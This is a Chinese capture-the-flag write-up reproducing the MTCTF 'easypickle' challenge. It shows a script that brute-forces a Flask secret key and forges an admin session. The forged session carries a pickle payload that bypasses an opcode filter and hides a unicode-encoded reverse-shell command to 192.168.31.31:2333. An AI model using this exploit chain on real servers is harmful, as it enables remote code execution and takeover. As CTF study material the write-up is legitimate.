MTCTF-easypickle复现
比赛的时候不太会,现在看了看师傅的题解来复现一下
给出了题目源码:
import base64
import pickle
from flask import Flask, session
import os
import random
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()
@app.route('/')
def hello_world():
if not session.get('user'):
session['user'] = ''.join(random.choices("admin", k=5))
return 'Hello {}!'.format(session['user'])
@app.route('/admin')
def admin():
if session.get('user') != "admin":
return f"<script>alert('Access Denied');window.location.href='/'</script>"
else:
try:
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))
return "ok"
except:
return "error!"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)
首先看一下代码
发现在admin路由中我们需要绕过判定,需要session=admin 更改session需要上面用到的·secret_key·题目中只随机了两位16进制数,可以爆破。 pysnow师傅的博客 利用到如下爆破脚本:
import os
import sys
import zlib
from itsdangerous import base64_decode
import ast
if sys.version_info[0] < 3:
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4:
from abc import ABCMeta, abstractmethod
else:
from abc import ABC, abstractmethod
import argparse
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if (secret_key == None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
dic = '0123456789abcdef'
if __name__ == '__main__':
for i in dic:
for j in dic:
for k in dic:
for l in dic:
key = i + j + k + l
res = FSCM.decode('eyJ1c2VyIjoibm5paW0ifQ.Yyrhow.NIYgwjGyUN8mNVMPO861CKafw9M', key)
if 'user' in str(res):
print(key)
res = FSCM.encode(key,'{"user":"admin","ser_data":"KFMna2V5MScKUyd2YWwxJwpkUyd2dWwnCihjb3MKc3lzdGVtClZcdTAwNjJcdTAwNjFcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMmRcdTAwNjNcdTAwMjBcdTAwMjdcdTAwNzNcdTAwNjhcdTAwMjBcdTAwMmRcdTAwNjlcdTAwM2VcdTAwMjZcdTAwMmZcdTAwNjRcdTAwNjVcdTAwNzZcdTAwMmZcdTAwNzRcdTAwNjNcdTAwNzBcdTAwMmZcdTAwMzFcdTAwMzlcdTAwMzJcdTAwMmVcdTAwMzFcdTAwMzZcdTAwMzhcdTAwMmVcdTAwMzNcdTAwMzFcdTAwMmVcdTAwMzNcdTAwMzFcdTAwMmZcdTAwMzJcdTAwMzNcdTAwMzNcdTAwMzNcdTAwMjBcdTAwMzBcdTAwM2VcdTAwMjZcdTAwMzFcdTAwMjcKb3Mu"}')
print(res)
exit()
解释一下代码: 因为他是2位十六进制所以我们直接用四位爆破将我们从题目中的session拿到***(必须拿到发包之后服务器的set-session中的值)*** 将user替换成admin即可完成第一步验证进入else 接下来看下面检测代码:
a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
raise pickle.UnpicklingError("R i o b is forbidden")
pickle.loads(base64.b64decode(session.get('ser_data')))
return "ok"
except:
return "error!"
我们需要传入ser_data下面会进行一次pickle.loads()方法也也就是说我们需要构造ser_data的value来让其反序列化RCE 但是它屏蔽了R i o b四个操作码 这里是不太好绕过的 但是我们观察一下代码的逻辑 这个if函数只是判断了a中的代码 但是我们反序列化的是没有替换的payload 那么就给了我们利用的空间 我们可以最后在执行的时候利用o操作码,后面紧跟着s操作码,构造出os 这样在进入if之前os会被替换成Os,其中的o就会消失完成绕过
先附上我的payload:
payload = b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nVcalc\nos.'''
将他转换成人能看懂的
0: ( MARK 先传入一个标志到堆栈上,
1: S STRING 'key1' 给栈添加一行string类型数据key1
9: S STRING 'val1' 给栈添加一行string数据val1
17: d DICT (MARK at 0) 将堆栈里面的所有数据取出然后组成字典放入堆栈
18: S STRING 'vul' 放入一个string类型数据vul
25: ( MARK 再传入一个标志
26: c GLOBAL 'os system' c操作码提取下面的两行作为module下的一个全局对象此时就是os.system
37: V UNICODE 'calc' 读入一个字符串,以\n结尾;然后把这个字符串压进栈中
43: o OBJ (MARK at 25) o操作码建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数))
44: s SETITEM 从堆栈中弹出三个值,一个字典,一个键和值。键/值条目是添加到字典,它被推回到堆栈上
45: . STOP
这样构造之后就可以反序列化出os.system(calc)弹出计算机了 之后我们只需要把calc命令替换成反弹shell的指令就行 注意因为反弹shell中是需要用到i参数的,而i参数会被检测,但是V操作码是可以识别\u的所以我们可以把我们的代码进行unicode编码然后放入payload中 pickle介绍
调用函数时,注意传入的参数类型要和示例一致
对应的opcode会被生成,但并不与pker代码相互等价
GLOBAL
对应opcode:b'c'
获取module下的一个全局对象(没有import的也可以,比如下面的os):
GLOBAL('os', 'system')
输入:module,instance(callable、module都是instance)
INST
对应opcode:b'i'
建立并入栈一个对象(可以执行一个函数):
INST('os', 'system', 'ls')
输入:module,callable,para
OBJ
对应opcode:b'o'
建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数)):
OBJ(GLOBAL('os', 'system'), 'ls')
输入:callable,para
xxx(xx,...)
对应opcode:b'R'
使用参数xx调用函数xxx(先将函数入栈,再将参数入栈并调用)
li[0]=321
或
globals_dic['local_var']='hello'
对应opcode:b's'
更新列表或字典的某项的值
xx.attr=123
对应opcode:b'b'
对xx对象进行属性设置
return
对应opcode:b'0'
出栈(作为pickle.loads函数的返回值):
return xxx # 注意,一次只能返回一个对象或不返回对象(就算用逗号隔开,最后也只返回一个元组)`
|